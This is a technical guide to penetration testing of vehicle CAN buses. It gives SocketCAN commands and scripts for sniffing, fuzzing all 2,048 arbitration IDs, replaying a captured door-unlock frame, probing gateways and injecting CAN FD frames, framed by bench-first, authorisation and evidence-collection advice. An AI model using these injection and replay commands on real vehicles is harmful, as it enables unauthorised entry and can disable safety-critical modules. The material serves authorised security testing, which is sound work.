CAN Bus Attacks
CAN bus (Controller Area Network) has no authentication or encryption. Any ECU can send any message. This guide covers sniffing, injection, and fuzzing attacks.
Authorised Vehicles, Stationary, Wheels Chocked
CAN Sniffing and Injection
# Setup CAN interface (Linux with SocketCAN)
sudo ip link set can0 type can bitrate 500000
sudo ip link set up can0
# Sniff CAN traffic
candump can0
# Filter specific CAN ID
candump can0,123:7FF # Only show ID 0x123
# Send CAN message
cansend can0 123#DEADBEEF
# Example: Unlock doors (ID and data vary by vehicle)
# 1. Capture CAN traffic while pressing unlock button
candump -l can0
# 2. Analyze the log for the unlock message
# Look for message that appears once when unlocking
# 3. Replay that frame. The ID and payload below are the synthetic 0x123
# example used above, not a captured vehicle frame: substitute the ID and
# bytes from your own log before running this.
cansend can0 123#DEADBEEFFuzzing and scripting
Fuzzing walks every arbitration ID with an empty payload to find which ones produce a visible reaction — a dashboard warning, a module that stops responding, or a gateway that logs an error. On a live vehicle this is the most disruptive technique on the page, so run it on the bench first and watch for modules that drop off the bus.
An ID Sweep Is A Write To Every Module On The Bus
vcan
interface). Treat the sweep as a change to a safety-critical system under UN R155/R156 and ISO/SAE 21434: record
the state before it, keep a battery kill switch and a known-good ECU within reach, and have a restore path tested
beforehand rather than discovered afterwards. On a road car, recovering the module becomes the finding — do not
create one to demonstrate one.
# Fuzzing CAN IDs
for id in $(seq 0 2047); do
cansend can0 $(printf "%03X#0000000000000000" $id)
sleep 0.1
done
# Using python-can for scripting
# interface= is the current keyword; bustype= still works but is a deprecated
# alias, scheduled for removal in python-can 5.0
python3 << EOF
import can
bus = can.interface.Bus(channel='can0', interface='socketcan')
# Send message
msg = can.Message(arbitration_id=0x123, data=[0xDE, 0xAD, 0xBE, 0xEF], is_extended_id=False)
bus.send(msg)
# Sniff messages
for msg in bus:
print(f"ID: {msg.arbitration_id:03X} Data: {msg.data.hex()}")
EOFThe Identifier Space: 11 Bits, 29 Bits And The Broadcast
The loop above walks 2,048 identifiers with 100 ms between them — about three and a half minutes of traffic, and the
only size of sweep that finishes. Standard frames carry an 11-bit identifier, the 2,048 values the kernel indexes its
filter tables by, and cansend
takes the format from the width of what you type: three hex digits is a standard frame, eight is extended and sets
CAN_EFF_FLAG.
Extended identifiers are 29 bits — 536,870,912 values, 262,144 times that loop, roughly 1.7 years at the same
cadence — so a wider loop is not a bigger test, it is a longer outage.
What makes the extended space tractable is that its upper bits are structured rather than arbitrary. The diagnostic
pairs on the CAN bus page are
0x18DA<TA><SA>
for a physical request and
0x18DB<TA><SA>
for a functional one, so the space worth enumerating is 256 targets by 256 sources, not half a billion identifiers.
A tester at 0xF1 addressing the ECU at 0x42 writes 0x18DA42F1 and watches 0x18DAF142.
# Eight hex digits is an extended frame, three is standard. The format comes
# from the width of the identifier, not from a separate flag.
cansend can0 18DA42F1#0322F19000000000
cansend can0 7DF#02010C0000000000
# One 29-bit exchange, both directions. DFFFFFFF is the mask candump's own
# help suggests for matching an extended identifier only.
candump can0,18DA42F1:DFFFFFFF,18DAF142:DFFFFFFF
# Every OBD responder at once: 0x7EF & 0x7F8 == 0x7E8, so one filter spans
# 0x7E8 to 0x7EF, and does not include the 0x7DF request itself.
candump can0,7E8:7F8
# A functional request through the kernel ISO-TP transport: -S sets
# CAN_ISOTP_SF_BROADCAST, and with a broadcast flag -d may be omitted.
echo 01 0C | isotpsend -s 7DF -S can0
Functional addressing is a different probe, not a shorter way to write a physical one. A physical request asks one
ECU, and its silence is a statement about that ECU. A functional request on
0x7DF asks every ECU
that owns the service, and each answers on its own identifier in 0x7E8 to 0x7EF — so the set of identifiers that
come back is an inventory: which slots are populated, how many modules hold that service, and which are awake. It
also answers a question a physical sweep cannot, because silence on 0x7E0 means nobody at that address answered
that request, not that nobody is there. Expect it to be noisier: several modules arbitrate a reply to the same
request, so the answer you are waiting for can be delayed behind the others.
Reading The Bus While You Fuzz
A sweep that produces no visible reaction is not a negative result yet. “Nothing is listening”, “a module dropped off the bus”, and “the reply was lost, or my capture dropped it” look identical from the driver's seat. The bus distinguishes them, but only if you are reading the bus and not just the payloads.
Counters And Error Frames
Two instruments, neither of them a dashboard. The first is the controller's own state and error counters, printed on demand: one line of state with the transmit and receive error counters in brackets, then six running totals. Sample before and after a sweep and compare the deltas — a counter that was already high because the harness was flaky all morning says nothing about your frames.
# State, error counters and totals. The header line names the six columns in
# the order their values appear.
ip -details -statistics link show can0
# can state ERROR-ACTIVE (berr-counter tx 0 rx 0) restart-ms 0
# re-started bus-errors arbit-lost error-warn error-pass bus-off
# 0 0 0 0 0 0
# Error frames are not delivered unless you ask for them. The 0~0 filter
# matches nothing, so only the error mask passes: this is candump's own form
# for "error frames but no data frames".
candump -e -t a any,0~0,#FFFFFFFF
# -D keeps the capture alive if the interface goes down, -d reports frames
# this socket dropped, -r raises the receive buffer.
candump -D -d -r 1048576 -t a can0
# Two files rather than one: the error stream stays short, the data stream
# does not, and the second is unreadable if you merge them.
candump -l -f errors.log any,0~0,#FFFFFFFF
candump -l -f sweep.log can0
The error frames carry the detail. Each sets a class bit in its identifier, and one class —
CAN_ERR_CNT — puts
the transmit error counter in data byte 6 and the receive counter in byte 7; error frames are always eight data
bytes. A second class,
CAN_ERR_CRTL, marks
the state transitions in byte 1: receive and transmit warning, receive and transmit passive, and a bit for having
recovered to error-active. The thresholds are fixed — 0 to 95 error-active, 96 to 127 error-warning, 128 to 255
error-passive, 256 and above bus-off — so the counters and the state line always agree.
| Signal | What the bus is saying | What it does not say |
|---|---|---|
| CAN_ERR_ACK | Nobody acknowledged the frame: no other node is on this bus, or the bus pair is open | That a module received it and ignored the identifier |
| TEC climbing | Your own transmissions are the error source — bitrate, termination, sample point | That any module reacted to what you sent |
| TEC past 128 | Error-passive: you are misconfigured before any module has an opinion | That the sweep reached a real ECU |
| bus-off | A controller removed itself from the bus at 256 and needs a restart | Which node — this counts only the controller you are attached to |
| arbit-lost | The bus is alive and carrying higher-priority traffic than yours | That the traffic comes from the module you are probing |
| bus-errors | Frame-format or stuffing violations were seen on the wire, from any node | Which node caused them |
What Silence Actually Proves
Four mechanisms produce silence without a silent listener, and none of them requires a module that chose to stay quiet.
-
Your frame was never a request. The ISO-TP receiver drops a Single Frame whose declared length is
zero, or longer than the frame can hold, without an error frame and without a negative response. A payload written
as
#with nothing after it is a zero-length frame, and it never becomes an application request. - The answer arrived somewhere you were not looking. A functional request replies on 0x7E8 and up, a physical one on the address you picked, and a filter written for one misses the other.
-
Your transmit failed and the loop did not notice.
cansendreports a failed write and exits non-zero rather than waiting for queue space, and the loop above discards its status, so a frame that never left is indistinguishable from one that left and was ignored. -
The capture dropped it. The
-ddrop counter is the only direct evidence separating “not on the bus” from “not in my file”.
Bus load confounds every response-based detector. At 500 kbps the wire is shared: every frame you inject competes with periodic traffic, a reply can slip past whatever window your script uses to decide “no answer”, and it then lands after the next request, where a loop keyed on request-reply adjacency throws it away. Design that out by logging continuously and correlating on identifier and timestamp afterwards, rather than deciding inside the loop.
A module that has gone bus-off disagrees with the dashboard in the other direction: it is present, powered, and
silent because its own controller took itself off the wire. The
bus-off and
re-started totals
describe the controller you are attached to and nothing else, so a remote module's bus-off shows up as its periodic
identifiers stopping and then, if it recovers, resuming. Record the periodic identifiers before the sweep: that
baseline is the only thing that can tell a module which left from one that was never there.
Diagnosing A Module You Cannot Tap
With no tap, a module's cyclic frames are all the evidence there is, and they answer one question: did the set change? Capture at the connector for a minute or more in a written state, reduce the log to identifier, count and mean period, then repeat during and after. Read the difference, not a response you were waiting for.
- Stops abruptly, then resumes. Its controller left the bus and re-armed. A recovery milliseconds after the last frame is a restart; a sleep timer does not run that fast.
- Stops after a quiet period, returns on a trigger. It slept: the stop is gradual and aligned with the vehicle going quiet, not with your frames.
- Absent from both captures. No evidence about the module — a filter may own the omission.
Derived from the mechanism, not measured: no CAN hardware here. The reference for the gap shape is the
restart-ms you can read on your own interface or set on a bench
module; a remote module's value cannot be read from the connector, so a delayed recovery is consistent with a
restart without proving one. Baseline before your first frame, as the silence section says.
Re-arming A Bus-Off Controller
Recovery has two preconditions, both enforced in the kernel and both reported as an error that reads like a dead
adapter.
restart-ms can be
set only while the interface is down, and a manual
ip link set can0 type can restart
is accepted only when restart-ms
is zero and the state really is bus-off: a configured delay returns
EINVAL, a healthy
controller returns EBUSY.
Auto-Restart During A Download
# Derived from the netlink validation rules in drivers/net/can/dev/,
# not captured. The delay can be set only while the interface is down,
# and the controller re-arms itself that many ms after bus-off.
sudo ip link set can0 down
sudo ip link set can0 type can restart-ms 100
sudo ip link set can0 up
# Manual: clear the delay the same way, then bring the interface up.
sudo ip link set can0 down
sudo ip link set can0 type can restart-ms 0
sudo ip link set can0 up
# From here each bus-off needs an explicit restart, issued while the
# interface is up and the state line reads BUS-OFF. A restart after a
# down/up has nothing left to recover: up already re-initialised it.
sudo ip link set can0 type can restart
# Either route emits an error frame with CAN_ERR_RESTARTED set, and a
# successful one increments the re-started total.
candump -e -t a any,0~0,#FFFFFFFF
ip -details -statistics link show can0
A restart emits a CAN_ERR_RESTARTED
error frame, and a successful one increments re-started,
so the outcome is on the wire either way. What a module loses when its own controller restarts is session state, not
configuration: the UDS session falls back to default, SecurityAccess is dropped, live DID subscriptions stop, and an
in-progress RequestDownload is abandoned — the transfer restarts from the request, not from the next block. That
separates the two silences above: a module that recovered answers again, one still off the bus acknowledges
nothing, and CAN_ERR_ACK
on your next frame says which.
What A Central Gateway Hides
On a modern vehicle the diagnostic connector reaches one or two buses directly and everything else through a central gateway — a router with a table, not a repeater. That table is an allowlist of identifiers, per direction and per segment, sometimes narrowed further by session state. A tester sees what it forwards plus what the gateway answers itself: a gateway that forwards nothing to the body segment makes that segment invisible, not empty.
That makes absence a scope-of-evidence problem. An identifier that neither appears nor answers behind a gateway is consistent with three facts: no module implements the handler, one does and the gateway dropped the request, or one does and the response was filtered on the way back. A sweep that returns nothing distinguishes none of them. The same sweep on a directly attached bus is evidence, because only the wire stands between the tester and the modules — which is why a clean pass through a gateway is reported as “not reachable from this connector”, not “not implemented”.
Establishing What The Gateway Passes
The table is unreadable; its behaviour is not. Treat it as a classifier with three outputs — forwarded, answered locally, dropped — and design the probe so the three are distinguishable.
- Baseline first. On a segment you can reach directly — a bench harness, or the bus behind the connector with the gateway out of the path — record the periodic identifier set in a written vehicle state: ignition on, modules awake. Nothing later is interpretable without that control.
-
Sweep services, not just addresses. A physical walk of
0x7E0to0x7E7through the gateway measures its table; a functional request on0x7DFmeasures what answers through it. Compare the responder set with the baseline — a responder present there and missing here is filtered, not gone. -
Read the gateway's own identity. Send
0xF190,0xF187and0xF18Cto each address that answers. Each answer names the node that produced it — VIN, part number, serial — so one arriving on the gateway's own address is the gateway's identity and not a module's behind it. - Let cyclic traffic discriminate. Periodic frames are not responses, so they pass or fail the table independently of any request. Periodic identifiers present while diagnostic answers never arrive is proof of a module that exists and a response path that is filtered. Neither present is evidence of neither: report “not reachable from this connector”.
- Repeat after a state change. Tables widen in an extended session or after SecurityAccess, so record the session with every sweep — the same identifier can be forwarded in one state and dropped in another.
cangw is the local
mechanism and a readable model of the problem. A rule names a source and a destination interface plus an identifier
filter as value and mask, so
-f 7E8:7F8
forwards the answer range and nothing else; -m
rewrites identifier, length or data on the way through, and
-L prints each
rule with handled, dropped and deleted counts.
# Derived from cangw.c's option list and list output format, not
# captured. Rules are per source/destination pair, so a filter on the
# body segment is a separate rule from one on the chassis segment.
# Forward 0x7E8-0x7EF from can0 to can1 and nothing else.
sudo cangw -A -s can0 -d can1 -f 7E8:7F8
# The listing is re-usable as a start script, with per-rule counters.
sudo cangw -L
# cangw -A -s can0 -d can1 -f 7E8:7F8 # 0 handled 0 dropped 0 deleted
# Delete one rule, then every rule on the box.
sudo cangw -D -s can0 -d can1 -f 7E8:7F8
sudo cangw -F
Production gateways are rarely this. They are ECUs running AUTOSAR routing tables or vendor firmware, filtering on
signal content and session state as well as identifier, and they expose none of it to the tester.
cangw builds a
bench rig that behaves like one; it is not a description of the car.
Capture, Replay And Bus State
Sniffing produces a file; replay is a separate problem. The log format is worth knowing exactly, because it is also the replay input and the two are easy to mismatch.
# -l writes candump-YYYY-MM-DD_HHMMSS.log into the current directory -- the
# name is the timestamp, not the interface. -f names the file yourself, and
# "-f -" is the same as -L: log format on stdout, no file.
candump -l can0
# Enabling Logfile 'candump-2026-10-27_143005.log'
candump -l -f unlock.log can0
# Nanosecond timestamps. canplayer accepts 6 or 9 decimal places in the log
# and rejects anything else, including a hand-written float.
candump -l -N -t a can0
# One logged line is timestamp, interface, then the frame in cansend syntax:
# (1793110205.318850) can0 123#DEADBEEF
# That third field is exactly the argument cansend wants, which is why the log
# replays without translation.
# canplayer: -I input file, -l loop count (i = forever), -t ignore the logged
# timestamps and send immediately, -g gap in ms, -s skip gaps longer than s.
# No assignment means "send to the interface it was captured on".
canplayer -I unlock.log -s 5 vcan0=can0
canplayer -I unlock.log -l 3 -g 20 vcan0=can0
Two behaviours decide whether a replay is a test or an accident. With timestamps honoured, frames go out at their
logged relative times, which is what preserves position in a sequence; with
-t they go out as
fast as the gap allows, which preserves the order and destroys the spacing. And
canplayer ignores
every line that does not begin with a
( timestamp — so a
DROPCOUNT line
written into the log by
candump -d is
skipped silently, and the replay omits the very evidence that the capture had holes.
The caveat is the one that costs findings. A captured frame is only replayable in the same bus state: the frame that unlocked a door did so at one point in a sequence, relative to a counter, an alive or rolling value, a diagnostic session the tester had entered, and whether the module was already awake. Replay preserves the frames, not that state. The same bytes in another position can be a no-op, can be refused with a negative response, or can be accepted as a fresh request carrying a stale counter — and the last of those is the one that leaves a DTC or a module that will not cooperate afterwards. Replay the whole log rather than one frame, keep the timestamps, and write down what the vehicle was doing at capture time in the same note as the file. The capture is not the reproduction; the capture plus the state is — and only on a bench or an authorised vehicle, under the two authorisation notes above.
CAN FD On The Attack Surface
Everything above is classical CAN. CAN FD keeps the arbitration and the four ISO-TP frame types and changes the frame around them, which changes what an injection primitive can carry and how a capture has to be read.
# "##" marks a CAN FD frame. The single hex digit after it is
# canfd_frame.flags: 1 = CANFD_BRS, 2 = CANFD_ESI, 3 = both, 4 = CANFD_FDF.
cansend can0 123##1DEADBEEF # FD, BRS on, four data bytes
cansend can0 123##0DEADBEEF # FD, no bit-rate switch
cansend can0 213##311223344 # FD, BRS and ESI, four data bytes
cansend can0 123##1 # FD, BRS, zero-length frame
# Payload length is rounded to a legal DLC length: ten bytes go out as twelve.
cansend can0 123##100112233445566778899
# The interface has to be FD before any of these work -- cansend only enables
# CAN_RAW_FD_FRAMES when the device MTU is 72, so on a classical interface the
# write fails rather than downgrading the frame.
sudo ip link set can0 type can bitrate 500000 dbitrate 2000000 fd on
ip -details link show can0 # mtu 72, and FD in the ctrlmode list
# candump -x adds direction and the two FD flags: R or T, then "B -", "- E" or
# "B E" for bit-rate switch and error state indicator.
candump -x can0- Payload. A diagnostic PDU that needed a First Frame and several Consecutive Frames is one frame, so a detector built on truncated transfers and sequence nibbles stops firing — and a 62-byte Single Frame is read by a classical parser as a zero-length answer.
-
Timing. BRS switches the data phase to a second bitrate, so a frame's duration is not a function
of the arbitration bitrate alone: the header runs at
bitrateand the payload atdbitrate. Any timing model, inter-frame gap or backlog estimate derived from one rate alone is wrong for those frames, and a 64-byte BRS frame occupies far less wire time than its length at the arbitration rate suggests. -
Error state. ESI is generated by the transmitting controller and reports that node's own error
state, so an FD capture carries each sender's health alongside its data — an observation classical CAN makes you
go and ask for. Setting the bit by hand is only meaningful on
vcan, where frames can be built freely for a detector test. -
Flags as configuration. The ISO-TP socket copies its
tx_flagsinto every frame it builds, Flow Control included, so-L 72:64:1makes the whole exchange a BRS exchange. The kernel header notes the flag is obsolete when the driver fixes BRS itself, so read the interface configuration before concluding a frame was sent at the slow rate.
Frames in the Capture, PDUs in the Answer
The VIN read from the CAN bus page is four classic CAN frames: the request, then a First Frame and two Consecutive
Frames carrying the twenty-byte answer.
candump shows
exactly that — four lines alternating between 7E0 and 7E8, each opening with an N_PCI byte to decode by hand.
isotpsniffer binds
the same pair of identifiers in listen mode and returns one PDU per direction, three bytes and twenty. It sends no
Flow Control, so it can watch an exchange it is not part of.
# One exchange, two views. Both outputs below are derived from the encoding
# rules on the CAN bus page rather than captured; isotpsniffer also prints an
# ASCII column, omitted here.
$ candump can0,7E0:7FF,7E8:7FF
can0 7E0 [8] 03 22 F1 90 00 00 00 00
can0 7E8 [8] 10 14 62 F1 90 57 56 57
can0 7E8 [8] 21 5A 5A 5A 31 4B 5A 4D
can0 7E8 [8] 22 30 30 30 30 30 30 31
$ isotpsniffer -s 7E8 -d 7E0 can0
can0 7E0 [3] 22 F1 90
can0 7E8 [20] 62 F1 90 57 56 57 5A 5A 5A 31 4B 5A 4D 30 30 30 30 30 30 31
The choice decides what you write. A detector for a truncated transfer works frame by frame: the PDU exists only
after the last Consecutive Frame, a lost frame leaves nothing to hand a PDU parser, and the sequence nibbles are the
only evidence. A human reading a capture wants PDUs, because twenty bytes of VIN are recognisable where three frames
of hex are not. The mistake is mixing them: four
candump lines are not
four messages, and no frame-level dump reassembles a block that never finished.
Injection And Observation Bench
Two exercises, neither of them on a road car. The first builds a gateway out of two vcan interfaces and a cangw rule, then proves which identifiers the rule passes; the second runs the sweep against a bench cluster or an ICSim instance on a USB-CAN adapter so the error counters and the module behaviour are real. Done when you can name every identifier the rule forwarded from a baseline capture alone, and show a positive and a negative control for the same injected frame.
Evidence Collection
An injection finding is a claim about a frame, a state, and an effect. The state is the half that gets lost. Record:
The rig before the first frame:
Interface, bitrate, FD mode, and the error counters from ip -details -statistics link show can0. A counter already climbing makes the whole sweep unreadable.
Baseline capture: At least a minute of periodic traffic in a written vehicle state: ignition position, modules awake, doors, gear. This is the only control that tells a module which left the bus from one that was never on it.
Frames you sent: Every identifier and payload with timestamps, the loop or script that produced them, and the exit status of each send. cansend exits non-zero on a failed write, so a swallowed status makes a frame that never left look identical to one that was ignored.
What changed: The identifier set, count and mean period after the sweep compared with the baseline, any DTC read back over diagnostics, and any error frame with its class bit. The delta, not a response you were waiting for, is the observation.
Gateway position: Where the tap sat relative to the central gateway, and which identifiers the sweep could not reach because of it. "Not reachable from this connector" is a finding; "not implemented" is not.
Capture hash and drop count:
SHA-256 of each log together with the DROPCOUNT line from candump -d. canplayer skips that line silently, so the replay omits the evidence that the capture had holes.
Authorisation and immobilisation: The written scope naming the vehicle, and how it was held: stands or chocks, ignition state, kill switch, a known-good ECU within reach. That sentence is what makes a frame injection a test rather than an incident.
False Positive Identification
On a shared bus, three different facts produce the same absence. None of them is a negative result until the other two are excluded.
- A frame that never crossed the bus you were on: The injected identifier is missing from the capture because the tap sat on the far side of the gateway, or on the wrong segment entirely. Check the topology before concluding a module ignored it.
- A module that was already faulted: A stored DTC, a lamp already lit, an identifier already silent before the first frame. Without a baseline there is no way to separate that from your effect.
- A replay that only works in one bus state: The same bytes in another sequence position can be a no-op, refused, or accepted with a stale counter. Replay the whole log with timestamps and record the state at capture time.
-
A functional answer attributed to a physical address:
A request on
0x7DFdraws replies from every holder on0x7E8to0x7EF. One of them is not the module you addressed. - Your own transmit errors: A climbing TEC is your adapter before any module has an opinion: bitrate, termination, sample point. Error-passive at 128 says the harness is misconfigured, not that something reacted.
-
A capture with holes:
The
-ddrop counter separates "not on the bus" from "not in my file". A reply that slipped past a response window is a timing artefact, not silence.
Injection Checklist
Before the first frame
- ☐ Prove the primitive on a bench rig first:
vcan, ICSim, or a spare cluster rather than the vehicle harness. - ☐ Write down the vehicle state and the immobilisation method, and keep a kill switch and a known-good ECU within reach.
- ☐ Test the restore path before the first injection. On a road car, recovering a module becomes the finding.
- ☐ Capture the periodic identifier set for a minute or more as the control, in a stated ignition state.
During the sweep
- ☐ Log continuously and correlate on identifier and timestamp afterwards instead of deciding inside the loop.
- ☐ Check the exit status of every send: cansend reports a failed write rather than waiting for queue space.
- ☐ Sample TEC, REC and the six totals before and after, and compare deltas rather than absolute values:
ip -details -statistics link show can0. - ☐ Keep error frames in a second file:
candump -e -t a any,0~0,#FFFFFFFF. Merged with the data stream they are unreadable. - ☐ Repeat the probe after a session or state change: a gateway table can widen in an extended session, so the same identifier forwards in one state and is dropped in another.
- ☐ Record what did not work, so the client can tell tested from untested rather than inferring both from silence.